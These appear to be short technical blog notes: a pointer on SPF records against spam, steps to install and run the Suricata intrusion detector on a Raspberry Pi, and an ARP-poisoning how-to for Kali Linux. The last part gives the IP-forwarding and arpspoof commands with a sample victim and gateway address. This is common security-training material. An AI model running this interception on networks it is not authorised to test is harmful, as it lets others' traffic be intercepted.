Regarding SPF Record eliminating SPAM.

More details can refer to http://www.openspf.org/SPF_Record_Syntax

SPF actually is a TXT record on your DNS server. Please kindly review the picture shown as follows:

Install and configure Suricata at Raspberry Pi

Installation:
# apt-get update; apt-get install suricata
# cp /etc/suricata/suricata.yaml /etc/suricata/suricata.yaml.bak
# cd /etc/suricata/rules
# wget https://rules.emergingthreats.net/open/suricata-2.0/emerging-all.rules
# vi /etc/suricata/suricata.yaml
Guarantee that the line below appears in the suricata.yaml file:
 - emerging-all.rules

Execution:
# suricata -c /etc/suricata/suricata.yaml -i wlan0

Running as a Daemon:
# suricata -c /etc/suricata/suricata.yaml -i wlan0 -D

Reading the alert log:
# tail -n 10 -f /var/log/suricata/fast.log

Implement ARP POISIONING in Command Line on Kali Linux

1) Enable the IP Forward function by executing the command below:
echo 1 > /proc/sys/net/ipv4/ip_forward

2) Run Arpspoof as shown below.
Usage:
arpspoof -i eth0 -t VICTIM_IP -r GATEWAY_IP
Example:
arpspoof -i eth0 -t 172.31.99.251 -r 172.31.98.1

Once the steps above are successfully completed, all traffic from 172.31.99.251 (i.e. the victim) to 172.31.98.1 (i.e. the gateway) will go through your PC.